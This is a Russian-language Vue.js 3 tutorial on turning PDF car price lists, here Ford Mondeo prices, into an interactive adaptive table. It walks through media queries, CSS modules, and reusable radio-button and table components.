В случае, когда заголовки и подзаголовки строк в мобильном отображении становятся «подшапками» таблицы, все преимущества таблицы сохраняются, и маленький размер экрана мобильного устройства этому не помехаДовольно теории и придуманных картинок, перейдем к реальным примерам. И, если вдруг их можно улучшить — попробуем сделать это, заодно потренируясь работать в моем любимом vue.js.
Forward to the Past, или что будем улучшать
-------------------------------------------
Благодаря Генри Форду и его первой конвейерной линии, созданной в 1913 году, в производстве практически всех товаров появился конвейер. Подход Тойоты к организации процесса — канбан (1959 год) — стал основой для agile-методологии, которая очень популярна в IT-индустрии. Автопроизводители всегда стремились быть первооткрывателями во многих сферах (еще один показательный пример забыл — product placement с «Бондиадой» в кино). Ну или хотя бы брали на вооружение передовые технологии. Предлагаю в качестве примера рассмотреть то, что нам предлагают автомобильные бренды в интернете *(примечание — с российским автобизнесом сейчас, мягко говоря...* “*все не так однозначно*”*, поэтому примеры я искал на сайтах .uk, потому что там английский язык)*
Представим, что мы хотим купить новый автомобиль. Мы определились с маркой, моделью, и даже примерно представляем чем отличаются версии, в которых эта модель производится. Мы понимаем, двигатель какой мощности и объема нас устраивает, и какого типа коробку передач мы хотим. Наше желание — **ПРИЦЕНИТЬСЯ**, т.е. понять разброс цен в зависимости от перечисленных выше условий. У всех автопроизводителей есть конфигураторы, но, чтобы понять, насколько отличается цена, в этих конфигураторах нужно совершать множество действий, переходить по шагам/этапам и пр. Чтобы прицениться, определить порядок цен, есть один действенный инструмент — прайс-лист. Попробуем найти его на сайтах и посмотреть, можно ли его как-то улучшить.
Начать я решил с Volkswagen Passat, потому что когда-то ездил на такой машине. Но на английском оф. сайте этого бренда я вообще не увидел прайс-листов! Ок, новый Passat проектирует дизайн-команда Skoda, рассмотрим «младшего брата» из Чехии — Superb. Для сравнения рассмотрим американскую альтернативу — Ford Mondeo, и японскую — Toyota Corolla. Прайс-листы для этих моделей на английских сайтах нашлись, но! — все они почему-то представлены в формате pdf.
Две страницы (21-я и 22-я) pdf-файла (https://www.skoda.co.uk/\_doc/71165c49-62c5-4f74-b29a-be6ad40d7373), на который ведет ссылка «BROCHURE & PRICELIST» со страницы https://www.skoda.co.uk/new-cars/superb/hatch-seДве страницы (8-я и 9-я) pdf-файла (https://s3-eu-west-1.amazonaws.com/liveassets.toyotaretail.co.uk/price-list/010791\_VPL\_CVPL\_JUNE\_68\_PAGES.pdf#page=8), на который ведет ссылка “View Brochure” со страницы https://www.toyota.co.uk/new-cars/corolla-hatchback4-я страница прайс-листа из pdf-файла https://www.ford.co.uk/content/dam/guxeu/uk/documents/price-list/cars/PL-Mondeo\_2019.pdf, доступного по ссылке “Brochures & Price Lists” со страницы https://www.ford.co.uk/cars/mondeo Я не представляю, как эти pdf-прайсы изучать на экране мобильного телефона с шириной <10 см. Мало того, даже если распечатать их на большом листе бумаге, можно заметить, что сделаны эти таблицы совсем не идеально. Попробуем использовать современные возможности веба. А в качестве рабочего примера я возьму Ford, отдав таким образом дань благодарности основателю компании за его замечательную книгу “Моя жизнь, мои достижения” (рекомендую к прочтению).
Чем меньше таблица, тем лучше
-----------------------------
По всем прайс листам видно, что там слишком много данных. В первую очередь — это прайс-листы, задача таблиц — дать **сравнение цен**. Облегчим эту задачу, убрав не особо важную для нашей цели информацию:
* примечание к “CO₂ Emissions” гласит *«...Эти цифры могут не отражать реальные результаты вождения... Для получения дополнительной информации... обратитесь к нашему разделу „Топливо и производительность“.»* Раз это есть в другом разделе и не относится к стоимости — убираем столбец
* примечания к столбцам “Monthly BIK” — “*не для частных покупателей*”, поэтому тоже их убираем
В отличие от pdf-формата, предназначенного для печати (я вообще поражаюсь, зачем в 21 веке этот формат до сих пор используется в сайтостроении), на веб-странице мы можем использовать интерактивность, что позволит нам существенно сократить количество ячеек.
* разделим данные по категориям Bodystyle. Не совсем понятные значения “4 door” и “5 door” заменим на “Saloon” и “Hatchback” из той же брошюры, итоговые категории будут [‘Saloon / Hatchback’, ‘Estate’]
* в каждой категории сделаем интерактивный выбор “Price: [‘Basic Retail’, ‘incl. Vat’, ’+ Manufacturers’]”
И немного переформатируем таблицу:
Для интерактивных выборов «Body: Saloon / Hatchback» и «Price: Basic Retail» таблица в классическом представлении может выглядеть такMobile First или Desktop First? Без разницы!
--------------------------------------------
У мобильных телефонов — разные размеры экранов. Планшеты — тоже мобильные устройства, и с их учетом количество вариантов возможных адаптаций стремится к бесконечности. А если учитывать и landscape-ориентацию мобильных девайсов, запутаться можно окончательно. Поэтому можно поступить проще — вообще не обращать на это внимание 🙂 Всё, что нас интересует — ширина таблицы. Если все умещается — нет проблем, если не умещается — значит заголовки строк выносим в отдельные строки.
Подготовка к работе, Vue.js
---------------------------
Я буду использовать последнюю версию Vue.js (3 на момент написания статьи) и поэтапно покажу и расскажу, что буду делать. Весь код и коммиты, описанные здесь, можно посмотреть на [Github](https://github.com/v-khakimov/table-adaptive-article).
Создадим проект согласно [иструкции](https://vuejs.org/guide/quick-start.html#local) с сайта Vue.js. Ответы «Yes» — только в вопросах «Add ESLint for code quality?» и «Add Prettier for code formatting?». Настрою проект так, как мне удобно.
```
// vite.config.js, добавить внутрь export default defineConfig({})
// это нужно для CSS-модулей
css: {
modules: {
root: '.',
localsConvention: 'camelCase',
},
},
// .eslintrc.cjs, добавить внутрь module.exports {}
// если вам нравятся одинарные кавычки при форматировании через npm run lint
rules: {
'prettier/prettier': ['error', { singleQuote: true }],
},
```
Добавим папку “css” в “src” и создадим там два файла (все пути в коде далее означают нахождение файлов внутри папки “src”
```
// ./css/reset.css
* {
box-sizing: border-box;
color: inherit;
font-size: 100%;
margin: 0;
padding: 0;
-webkit-tap-highlight-color: rgba(0,0,0,0);
}
// ./css/font-family.css, скопировать свойства из ./assets/base.css
body {
font-family: Inter, -apple-system, BlinkMacSystemFont, 'Segoe UI',
Roboto, Oxygen, Ubuntu, Сantarell, 'Fira Sans', 'Droid Sans',
'Helvetica Neue', sans-serif;
text-rendering: optimizeLegibility;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
```
Удаляем всё из папок “assets” и “components”. Изменяем App.vue:
```
// .App.vue
There will be an adaptive table here.
@import './css/reset.css';
@import './css/font-family.css';
#app {padding: 1em 0;}
#app, body {min-height: 100%; width: 100%;}
```
Набираем в командной строке `git init` и делаем первый коммит “start project”.
Добавим media queries:
```
// ./css/media-queries.css
/* Mobile, Portrait */
@media (max-aspect-ratio: 6/5) {
body {
color: rgb(0, 0, 0);
font-size: calc(12 * 100vw / 320);
}
}
/* Mobile, Landscape */
@media (max-width: 1134px) and (min-aspect-ratio: 6/5) {
body {
color: rgb(0, 0, 1);
font-size: calc(10 * 100vw / 480);
}
}
/* Desktop */
@media (min-width: 1134px) and (min-aspect-ratio: 6/5) {
body {
color: rgb(0, 1, 0);
font-size: calc(24 * 100vw / 1920);
}
}
/* Wide (Ultra Wide) Monitors */
@media (min-width: 1134px) and (min-aspect-ratio: 5/2) {
body {
color: rgb(1, 0, 0);
font-size: calc(22 * 100vw / 2560);
}
}
// ./store-variables/media-queries.js
import { computed, ref } from 'vue';
const refMq = ref('');
const checkMq = () => {
const { color } = getComputedStyle(document.body);
let mq;
if (color === 'rgb(0, 0, 0)') mq = 'portrait';
else if (color === 'rgb(0, 0, 1)') mq = 'landscape';
else if (color === 'rgb(1, 0, 0)') mq = 'wide';
else mq = 'desktop';
refMq.value = mq;
};
const setMq = () => {
checkMq();
window.addEventListener('resize', checkMq);
};
const isMqPortrait = computed(() => refMq.value === 'portrait');
const isMqLandscape = computed(() => refMq.value === 'landscape');
const isMqMobile = computed(() => isMqPortrait.value || isMqLandscape.value);
export { isMqPortrait, isMqLandscape, isMqMobile, setMq };
```
В файле «media-queries.css» я определил лейауты (отображения):
* Mobile, Portrait
* Mobile, Landscape
* Desktop
* Wide (Ultra Wide мониторы)
Выражение `font-size: calc(24 * 100vw / 1920);` означает, что в пределах одного лейаута шрифт будет растягиваться в зависимости от ширины экрана, а при ширине 1920px его размер будет равен 24px.
Отображения заданы через aspect-ratio и граничное значение 1134px. Согласно [Mdn](https://developer.mozilla.org/en-US/docs/Learn/CSS/Building_blocks/Values_and_units#absolute_length_units) такое количество пикселей равно 30cm. Если вам не нравится такое разделение — используйте свое. Кроме того, в отображениях я задал разные цвета body. Эта разница неразличима для глаза, но с помощью нее можно в любой момент определить, какой из лейаутов в браузере пользователя интернета. Что и делает функция setMq() в файле «media-queries.js».
Изменяем App.vue:
```
// .App.vue, вставить в начало файла
import { setMq } from './store-variables/media-queries';
setMq();
// вставить внутрь после всех импортов
@import './css/media-queries.css';</code></pre><p> Все изменения до этого момента — в коммите «media queries».</p><h2>Структура проекта и нейминг</h2><p>В дополнение к папке “components”, которую ставит дефолтом Vue, мне нравится следующая структура проекта, которая определилась опытным путем:</p><ul><li><p>“./css/” — папка для общих css-файлов и css-модулей. Модули мне удобно разделять по категориям, плюс бывают модули для каких-то конкретных компонентов (дальше будет понятно, о чем речь)</p></li><li><p>“./store-variables/” — папка для вычисляемых (computed) переменных Vue, причем только для тех, которые используются в нескольких компонентах; благодаря composition API в Vue 3 и подобной папке глобальные хранилища данных Vuex/Pinia уже не особо и нужны</p></li><li><p>“./store-constant/” — папка, в которой содержатся какие-то постоянные, неизменяемые данные</p></li><li><p>“./store-functions/” — папка функций, которые могут быть как независимыми, так и задействовать данные из “store-constant” или “store-variables”</p></li></ul><p>Нейминг я использую такой:</p><ul><li><p><code>domName = ref(null)</code> — если dom-элемент</p></li><li><p><code>refName = ref(/\* … \*/)</code> — изменяемая-vue-переменная (аналогично reactiveName, но reactive я использую редко, ref мне нравятся больше)</p></li><li><p><code>getName = computed(() => refName.value)</code> — геттер “refName”</p></li><li><p><code>isName</code> — тоже, что “getName”, но с типом Boolean</p></li><li><p><code>setName()</code> — функция, которая что-то устанавливает, в т.ч. и ref-переменные</p></li><li><p><code>switchName()</code> — сеттер без аргумента, если ref-переменная — Boolean</p></li><li><p><code>seekName()</code> — функция, которая что-то вычисляет и отдает (потому что getName уже занято)))</p></li><li><p><code>CommonName.vue</code> — компонент-”черный ящик”, который можно использовать в других проектах (дальше будет понятнее)</p></li></ul><p>Если компонент — большой (по размеру кода), то для него создается папка в “components” и он переезжает туда, на уровень ниже.</p><p>“st” — CSS-стили, “cl” — CSS-классы, “bt”, “br”, “bb”, “bl” — соответственно border-[top/right/bottom/left], также “pt” и т.д., “mt” и т.д. — padding-top и далее, margin-top и далее. Отступы (и паддинги, и маргины) соотносятся с заданными в root значениями:</p><pre><code class="css">:root {
--gap: 0.5em;
--gap-twice: 1em;
}
.pt {padding-top: var(--gap);}
.pr2 {padding-right: var(--gap-twice);}</code></pre><p>Я сокращаю и другие названия CSS-свойств, но их описывать не буду — названия понятны из контекста.</p><h2>CSS-модули</h2><p>Нам нужно реализовать интерактивный выбор пользователя. Я скопировал данные из прайс-листа, слегка их преобразовал и сохранил в файл “./store-constant/table-data.js”. Файл можно скачать из коммита “<a href="https://github.com/v-khakimov/table-adaptive-article/commit/1dfde16d5fb84f364d95bd9b6d2f07bc9c8c66eb?short\_path=b335630#diff-b335630551682c19a781afebcf4d07bf978fb1f8ac04c6bf87428ed5106870f5" rel="noopener noreferrer nofollow">table-data</a>”.</p><p>Чтобы не перегружать главный компонент App.vue, создадим ButtonsForTable.vue и напишем в нем код, ориентируясь на <a href="https://ru.wikipedia.org/wiki/%D0%A1%D0%B5%D0%BC%D0%B0%D0%BD%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B0%D1%8F\_%D0%B2%D1%91%D1%80%D1%81%D1%82%D0%BA%D0%B0" rel="noopener noreferrer nofollow">семантическую верстку</a>:</p><pre><code class="xml">// ./components/ButtonsForTable.vue
<script setup>
import { headTitles, priceTypeNames } from '../store-constant/table-data';
const bodyTypes = Object.keys(headTitles);
const priceTypes = Object.values(priceTypeNames);
</script>
<template>
<section>
<h5>Body:</h5>
<p>{{ bodyTypes }}</p>
</section>
<section>
<h5>Price:</h5>
<p>{{ priceTypes }}</p>
</section>
</template></code></pre><p>Импортируем созданный компонент в App.vue:</p><pre><code class="xml">// ./App.vue
// вставить внутрь <script setup>
import ButtonsForTable from './components/ButtonsForTable.vue';
// заменить <template>
<template>
<ButtonsForTable />
</template></code></pre><p>Поработаем со стилями. Раньше я использовал SCSS, но теперь мне нравятся <a href="https://vuejs.org/api/sfc-css-features.html#css-modules" rel="noopener noreferrer nofollow">CSS-модули</a>. Добавим в App.vue:</p><pre><code class="css">// .App.vue, вставить внутрь <style>
.flex, #app {display: flex;}
.wrap, #app {flex-wrap: wrap;}
.ac-start, #app {align-content: flex-start;}</code></pre><p>Создадим CSS-модули: </p><pre><code class="css">// ./css/colors.module.css
:root {
--color-grey: #8c8c8c;
}
.grey {color: var(--color-grey);}
// ./css/flex.module.css
.ac-start {composes: ac-start from global;} /\* align-content: flex-start \*/
.ai-center {align-items: center;}
.flex {composes: flex from global;} /\* display: flex \*/
.fb100 {flex-basis: 100%;}
.fg1 {flex-grow: 1;}
.wrap {composes: wrap from global;} /\* flex-wrap: wrap \*/
// ./css/gaps.module.css
:root {
--gap: 0.5em;
--gap-twice: 1em;
}
.pb {padding-bottom: var(--gap);}
.pr {padding-right: var(--gap);}
.pt {padding-top: var(--gap);}
.pl2 {padding-left: var(--gap-twice);}
.pr2 {padding-right: var(--gap-twice);}
// ./css/text.module.css
.normal {font-weight: normal;}</code></pre><p>И изменим ButtonsForTable.vue:</p><pre><code class="xml">// ./components/ButtonsForTable.vue
<script setup>
import { computed, useCssModule } from 'vue';
import flex from '../css/flex.module.css';
import gaps from '../css/gaps.module.css';
import { headTitles, priceTypeNames } from '../store-constant/table-data';
import { isMqPortrait } from '../store-variables/media-queries';
const bodyTypes = Object.keys(headTitles);
const priceTypes = Object.values(priceTypeNames);
const getSectionCl = computed(() => [
isMqPortrait.value ? flex.fb100 : flex.fg1,
flex.flex, flex.aiCenter, gaps.pt, gaps.pb, gaps.pl2, gaps.pr2]);
const styleModule = useCssModule();
const getWillBeButtonCl = computed(() => isMqPortrait.value
? styleModule.testDesktop : styleModule.testPortrait);
</script>
<template>
<section :class="getSectionCl">
<h5 :class="$style.title">Body:</h5>
<p :class="getWillBeButtonCl">{{ bodyTypes }}</p>
</section>
<section :class="getSectionCl">
<h5 :class="$style.title">Price:</h5>
<p :class="getWillBeButtonCl">{{ priceTypes }}</p>
</section>
</template>
<style module>
.title {
composes: pr from '../css/gaps.module.css';
composes: normal from '../css/text.module.css';
composes: grey from '../css/colors.module.css';
}
.test {
composes: fg1 from '../css/flex.module.css';
text-align: center;
}
.test-desktop {composes: test; border: 1px solid red;}
.test-portrait {composes: test; border: 1px solid blue;}
```
Смысл всего сделанного: все CSS-свойства, задействованные в компонентах, записаны в CSS-модулях, которые разделены по удобным категориям. Если в компоненте CSS-классы какого-нибудь тега, размещенного в — динамические (меняются в зависимости от чего-нибудь, например, computed-переменных), то эти классы можно импортировать в `</code> и использовать их в новой computed-переменной. В нашем примере классы у тега <code><section></code> меняются в зависимости от отображения: если пользователь смотрит страницу на Mobile в Portrait-ориентации, то <code><section></code> занимает всю ширину, если нет — сколько получится (см. <code>getSectionCl</code>).</p><p>Еще один способ использования CSS-модулей в компонентах — если классы не меняются. Тогда их можно сформировать в <code><style module></code>, а в <code><template></code> использовать через <code>:class="$style.className"</code>, что мы и сделали в заголовках <code><h5></code>.</p><p>Наконец, классы из <code><style module></code> можно задействовать в <code><script setup></code> с помощью vue-метода <code>useCssModule()</code>, которым мы воспользовались для передачи классов тегам <code><p></code>.</p><p>Сделаем коммит “CSS modules”. Cейчас наше творение выглядит так:</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload\_files/a48/38d/565/a4838d565df9119a93860a5b810458c8.png" width="2646" height="250" data-src="https://habrastorage.org/getpro/habr/upload\_files/a48/38d/565/a4838d565df9119a93860a5b810458c8.png"/><figcaption></figcaption></figure><p>А хотелось бы что-нибудь такое:</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload\_files/9d7/304/62a/9d730462acc0a2edc1462d993e88b2fd.png" width="1508" height="147" data-src="https://habrastorage.org/getpro/habr/upload\_files/9d7/304/62a/9d730462acc0a2edc1462d993e88b2fd.png"/><figcaption></figcaption></figure><p>Желаемое не похоже на сделанное, зато мы разобрались с CSS-модулями, и это пригодится в дальнейшем.</p><h2>Компонентно-ориентированный подход</h2><p>Сделаем интерактивные радио-кнопки, по клику которых в таблице будут отображаться те или иные данные. Причем попробуем применить <a href="https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BC%D0%BF%D0%BE%D0%BD%D0%B5%D0%BD%D1%82%D0%BD%D0%BE-%D0%BE%D1%80%D0%B8%D0%B5%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D0%B5\_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5" rel="noopener noreferrer nofollow">компонентно-ориентированный подход</a>.</p><p>Смысл этого подхода (как я его понимаю) — сделать компонент, который может быть полезен в дальнейшем и может быть использован в других проектах. Соответственно, в компоненте не могут быть напрямую использованы (т.е. импортированы) какие-нибудь переменные или константы. Т.е. такой компонент — это «<a href="https://ru.wikipedia.org/wiki/%D0%A7%D1%91%D1%80%D0%BD%D1%8B%D0%B9\_%D1%8F%D1%89%D0%B8%D0%BA" rel="noopener noreferrer nofollow">черный ящик</a>», который что-то принимает и что-то выдает, и его API — то, что он принимает и выдает. В vue.js есть для этого всё необходимое — сам Component.vue, а его API — это <code>defineProps()</code> — <a href="https://vuejs.org/guide/components/props.html" rel="noopener noreferrer nofollow">входящие данные</a> и <code>defineEmits()</code> — совершаемые этим компонентом <a href="https://vuejs.org/guide/components/events.html#emitting-and-listening-to-events" rel="noopener noreferrer nofollow">события</a>, и отправляемые в связи с ним данные.</p><p>Продумаем API компонента с переключаемыми кнопками. Нужны названия кнопок, нужно знать, какая из кнопок нажата. Кроме того, мы хотим, чтобы кнопки как-то выглядели, т.е. у них должны быть какие-то классы, причем классы могут быть одинаковые для всех, а могут различаться у нажатой, ненажатой кнопки и первой кнопки в ряду. Событие, которое нас интересует - клик по ненажатой кнопке, и отдавать мы можем ее порядковый номер.</p><p>Создадим компонент CommonButtonsRadio.vue:</p><pre><code class="xml">// ./components/CommonButtonsRadio.vue
<script setup>
const props = defineProps({
buttons: Array,
indexSelected: Number,
classes: Object, // { each, first, selected, unselected }; values - Array || String
// first, selected, unselected are added to 'each' value
});
const emit = defineEmits(['selectButtonIndex']);
const clickToButton = (index) => {
if (index !== props.indexSelected) {
emit('selectButtonIndex', index);
}
};
const seekClass = (index) => {
const { each, first, selected, unselected } = props.classes;
const cl = [];
const addCl = (arrayOrString) => {
if (typeof arrayOrString === 'string') {
cl.push(arrayOrString);
} else {
cl.push(...arrayOrString);
}
};
if (each) addCl(each);
if (index === props.indexSelected) {
if (selected) addCl(selected);
} else if (unselected) addCl(unselected);
if (first && !index) addCl(first);
return cl;
};`В `</code> мы сначала определели API (через defineProps и defineEmits), затем идет функция clickToButton(), реагирующая на событие и отдающая индекс нажатой кнопки, затем - функция seekClass(), которая определяет, является ли кнопка нажатой/не нажатой, и первая ли в ряду, и в зависимости от этого отдает соответствующие классы из API. Все, наш компонент готов для использования не только в этом, но и в других проектах, можно его загрузить на <a href="https://github.com/v-khakimov/vue-buttons-radio" rel="noopener noreferrer nofollow">Гитхаб</a> и использовать на здоровье.</p><p>Теперь задействуем созданный компонент в нашем проекте. Сначала займемся стилями. Изменения / новые файлы:</p><pre><code class="css">// ./css/colors.module.css
:root {
--color-blue: #2d96cd;
--color-grey: #8c8c8c;
--color-white: #fff;
--color-major: var(--color-blue);
}
.back-grey {background-color: var(--color-grey);}
.back-color {background-color: var(--color-major);}
.bb-grey {border-bottom: 1px solid var(--color-grey);}
.bl-grey {border-left: 1px solid var(--color-grey);}
.br-grey {border-right: 1px solid var(--color-grey);}
.bt-grey {border-top: 1px solid var(--color-grey);}
.bb {border-bottom: 1px solid var(--color-major);}
.bl {border-left: 1px solid var(--color-major);}
.br {border-right: 1px solid var(--color-major);}
.bt {border-top: 1px solid var(--color-major);}
.grey {color: var(--color-grey);}
.color {color: var(--color-major);}
.white {color: var(--color-white);}
// ./css/cursor.module.css
.pointer {cursor: pointer;}
// add into ./css/gaps.module.css
.padding {padding: var(--gap);}
// ./css/shadow.module.css
.shadow {box-shadow: 0 0 0.15em 0.1em rgba(0,0,0,0.1);}
// add into ./css/text.module.css
.center {text-align: center;}</code></pre><p>Создадим классы, общие для всех кнопок:</p><pre><code class="css">// ./css/buttons-radio.module.css
.each {
composes: fg1 from './flex.module.css';
composes: padding from './gaps.module.css';
composes: center from './text.module.css';
}
.selected {
composes: white from './colors.module.css';
}
.unselected {
composes: pointer from './cursor.module.css';
composes: shadow from './shadow.module.css';
}</code></pre><p> А после этого — для кнопок в двух цветовых гаммах:</p><pre><code class="css">// ./css/buttons-radio-color.module.css
.each {
composes: each from './buttons-radio.module.css';
composes: bt br bb from './colors.module.css';
}
.first {
composes: bl from './colors.module.css';
}
.selected {
composes: selected from './buttons-radio.module.css';
composes: back-color from './colors.module.css';
}
.unselected {
composes: unselected from './buttons-radio.module.css';
composes: color from './colors.module.css';
}
// ./css/buttons-radio-grey.module.css
.each {
composes: each from './buttons-radio.module.css';
composes: bt-grey br-grey bb-grey from './colors.module.css';
}
.first {
composes: bl-grey from './colors.module.css';
}
.selected {
composes: selected from './buttons-radio.module.css';
composes: back-grey from './colors.module.css';
}
.unselected {
composes: unselected from './buttons-radio.module.css';
composes: grey from './colors.module.css';
}</code></pre><p>Переходим к js:</p><pre><code class="javascript">// ./store-variables/body-type.js
import { computed, ref } from 'vue';
import classes from '../css/buttons-radio-color.module.css';
import { headTitles } from '../store-constant/table-data';
const buttons = Object.keys(headTitles);
const refBodyTypeIndex = ref(0);
const getBodyTypeIndex = computed(() => refBodyTypeIndex.value);
const setBodyTypeIndex = (index) => {
refBodyTypeIndex.value = index;
};
const propsButtonsBodyType = computed(() => ({
buttons,
indexSelected: getBodyTypeIndex.value,
classes,
}));
export { getBodyTypeIndex, propsButtonsBodyType, setBodyTypeIndex };
// ./store-variables/price-type.js
import { computed, ref } from 'vue';
import classes from '../css/buttons-radio-grey.module.css';
import { priceTypeNames } from '../store-constant/table-data';
const buttons = Object.values(priceTypeNames);
const refPriceTypeIndex = ref(0);
const getPriceTypeIndex = computed(() => refPriceTypeIndex.value);
const setPriceTypeIndex = (index) => {
refPriceTypeIndex.value = index;
};
const propsButtonsPriceType = computed(() => ({
buttons,
indexSelected: getPriceTypeIndex.value,
classes,
}));
export { getPriceTypeIndex, propsButtonsPriceType, setPriceTypeIndex };</code></pre><p>Стили, определенные в классах в модулях buttons-radio-color.module.css и buttons-radio-grey.module.css, мы сразу грузим как <code>classes</code> соответственно в body-type.js и price-type.js, в props. Теперь осталось загрузить последние в созданный ранее компонент ButtonsForTable.vue и подключить там универсальный “черный ящик” CommonButtonsRadio.vue:</p><pre><code class="xml">// ./components/ButtonsForTable.vue
<script setup>
import { computed } from 'vue';
import flex from '../css/flex.module.css';
import gaps from '../css/gaps.module.css';
import {
propsButtonsBodyType,
setBodyTypeIndex,
} from '../store-variables/body-type';
import { isMqPortrait } from '../store-variables/media-queries';
import {
propsButtonsPriceType,
setPriceTypeIndex,
} from '../store-variables/price-type';
import CommonButtonsRadio from './CommonButtonsRadio.vue';
const getSectionCl = computed(() => [
isMqPortrait.value ? flex.fb100 : flex.fg1,
flex.flex, flex.aiCenter, gaps.pt, gaps.pb, gaps.pl2, gaps.pr2]);
##### Body:
##### Price:
.title {
composes: pr from '../css/gaps.module.css';
composes: normal from '../css/text.module.css';
composes: grey from '../css/colors.module.css';
}`Пробуем запустить и видим, что получилось:
Все работает, нажимается и изменяется. Адаптивной таблицы, правда, пока нет, но мы уже разбираемся в CSS-модулях, знаем про компонентно-ориентированный подход и умеем создавать компоненты, который можно использовать в дальнейшем. И все эти скиллы помогут нам в работе с таблицей. К ней, наконец, и приступим.
Все изменения в проекте до этого момента — в коммите “CommonButtonsRadio”
API компонента адаптивной таблицы
---------------------------------
Таблицу мы также будем делать “черным ящиком”, чтобы можно было ей потом пользоваться. Начнем с главного — API. В рамках данной статьи наш компонент будет только принимать данные, и ничего не отдавать.
Подумаем над шапкой. Шапка будет состоять из двух частей — шапки заголовков строк (headTitles) и шапки остальных столбцов (headCols). Если у нас достаточно ширины для классического отображения таблицы — эти шапки идут слева направо, если нет — сверху вниз. Затем у нас идут заголовки строк (titles), ну и сами ячейки с данными для сравнения (cells).
Теперь про CSS-классы. Кроме классов, которые могут быть у конкретной ячейки (clAdd, добавляется ко всем вычисленным к ячейке классам), могут быть классы у:
* всех ячеек (eachCell)
* шапки таблицы (head)
* заголовков строк (titles)
* остальных ячеек (cells)
head, titles и cells добавляются к eachCell, если они есть.Плюс к этому, они являются некими категориями, которые могу подразделяться на:
* любая ячейка в своей категории (each)
* первая/последняя ячейка в строке (rowFirst/rowLast)
* первая/последняя ячейка в столбце (colFirst, colLast)
Классы из rowFirst, rowLast, colFirst, colLast добавляются к each, если они есть.
Таблица, в отличие от радио-кнопок — вполне себе самостоятельный блок, поэтому логично оборачивающий ее тег поместить внутрь компонента. Поэтому в classes входящих данных таблицы добавим ключ outer.
Еще одно отличие от предыдущего компонента с кнопками — кода будет больше. Поэтому для компонента таблицы создадим папку “CommonTableAdaptive” и уже в ней — TableTemplate.vue:
```
// ./components/TableTemplate.vue
const props = defineProps({
headTitles: Array,
headCols: Array,
titles: Array,
cells: Array,
classes: Object,
/\* classes: {
outer: [String, Array],
eachCell: [String, Array],
head: { each, colFirst, colLast, rowFirst, rowLast }
titles: { each, colFirst, colLast, rowFirst, rowLast }
cells: { each, colFirst, colLast, rowFirst, rowLast }
} \*/
});
```
Займемся props для нашего компонента с таблицами. Заведем для этого отдельный файл table-props.js и используем данные для таблицы, подготовленные ранее в “./store-constant/table-data”:
```
// ./store-variables/table-props.js
import { computed } from 'vue';
import { cells, headCols, headTitles, titles } from '../store-constant/table-data';
import { getBodyTypeIndex } from '../store-variables/body-type';
import { getPriceTypeIndex } from '../store-variables/price-type';
const cellswithCl = Object.fromEntries(Object.entries(cells)
.map(([body, obj]) => [
body,
Object.fromEntries(Object.entries(obj)
.map(([priceType, rows]) => [
priceType,
rows.map((row) => row.map((price) => price === '-'
? { text: '-', clAdd: [colors.grey] }
: { text: `£ ${price}`, clAdd: [text.bold] })),
])),
])
);
const getTableProps = computed(() => ({
headTitles: Object.values(headTitles)[getBodyTypeIndex.value],
headCols,
titles: Object.values(titles)[getBodyTypeIndex.value],
cells: Object.values(Object.values(cellswithCl)[getBodyTypeIndex.value])[
getPriceTypeIndex.value],
}));
```
И в этом же файле займемся стилями. Сформируем классы для тега, оборачивающего таблицу:
```
// добавить в ./store-variables/table-props
import flex from '../css/flex.module.css';
import gaps from '../css/gaps.module.css';
import text from '../css/text.module.css';
import { isMqMobile } from '../store-variables/media-queries';
const getClOuter = computed(() => {
const cl = [flex.fb100, gaps.mt2, text.lineHeightTable, text.center];
if (!isMqMobile.value) cl.push(gaps.pl2, gaps.pr2);
return cl;
});
// добавить в ./css/gaps.module.css
.mt2 {margin-top: var(--gap-twice);}
// добавить в ./css/text.module.css
.line-height-table {line-height: 1.2;}
```
Если у нас desktop-отображение, то у границы будут паддинги справа и слева, если mobile — таблица во всю ширину экрана.
Теперь стили ячеек:
```
// добавить в ./store-variables/table-props
import colors from '../css/colors.module.css';
const getClasses = computed(() => {
const classesCells = { each: [colors.btGrey, colors.blGrey] };
if (isMqMobile.value) {
classesCells.colFirst = [colors.blTransparent];
} else {
classesCells.colLast = [colors.brGrey];
classesCells.rowLast = [colors.bbGrey];
}
const classes = {
outer: getClOuter.value,
eachCell: [flex.flex, flex.aiCenter, flex.jcCenter, gaps.padding],
head: {
each: [text.bold, colors.backColor, colors.white,
colors.btWhite, colors.blWhite],
colFirst: [colors.blTransparent],
},
cells: classesCells,
titles: Object.fromEntries(Object.entries(classesCells)),
};
classes.titles.each = [...classes.titles.each, colors.backGreyLight];
return classes;
});
// ./css/colors.module.css
// добавить внутрь :root {}
--color-grey-light: #e5e5e5;
// добавить в файл
.back-grey-light {background-color: var(--color-grey-light);}
.bl-white {border-left: 1px solid var(--color-white);}
.bt-white {border-top: 1px solid var(--color-white);}
.bl-transparent {border-left: 1px solid transparent;}
// добавить в ./css/flex.module.css
.jc-center {justify-content: center;}
// добавить в ./css/text.module.css
.bold {font-weight: bold;}
```
У всех ячеек (eachCell) центрирование содержимого с помощью flex и отступы. Фон шапки (head) — синий, цвет букв — белый, у каждой ячейки сверху и справа (за исключением первых в ряду) белый бордюр. Остальные ячейки — серые границы сверху, слева (если mobile и первая в ряду, то слева границы нет), а также снизу и справа (только если desktop), если ячейка последняя в колонке и ряду соответственно. У ячеек, относящихся к названиям строк таблицы — светло-серый фон.
Важное примечание, относящееся к CSS-модулям. Во Vue и Vite так устроено (а может это глобально так работает), что если у какого-то тега подключены два класса, влияющие на одно и то же свойство, то срабатывает не последний класс в `class=""`, а то свойство, которое загрузилось последним в модулях. Поясню на примере: в “./css/colors.module.css” сначала идет `.bt-white {border-top: 1px solid var(--color-white);}`, а потом (ниже) `.bl-transparent {border-left: 1px solid transparent;}`. Какой-бы ни был порядок этих классов у любого тега, например или , у этого тега будет прозрачная левая граница, потому что класс `.bl-transparent` объявлен позднее (ниже) в файле, чем `.bt-white`.
Включим созданные getClasses в данные, передаваемые компоненту, и экспортируем getTableProps:
```
// ./store-variables/table-props.js
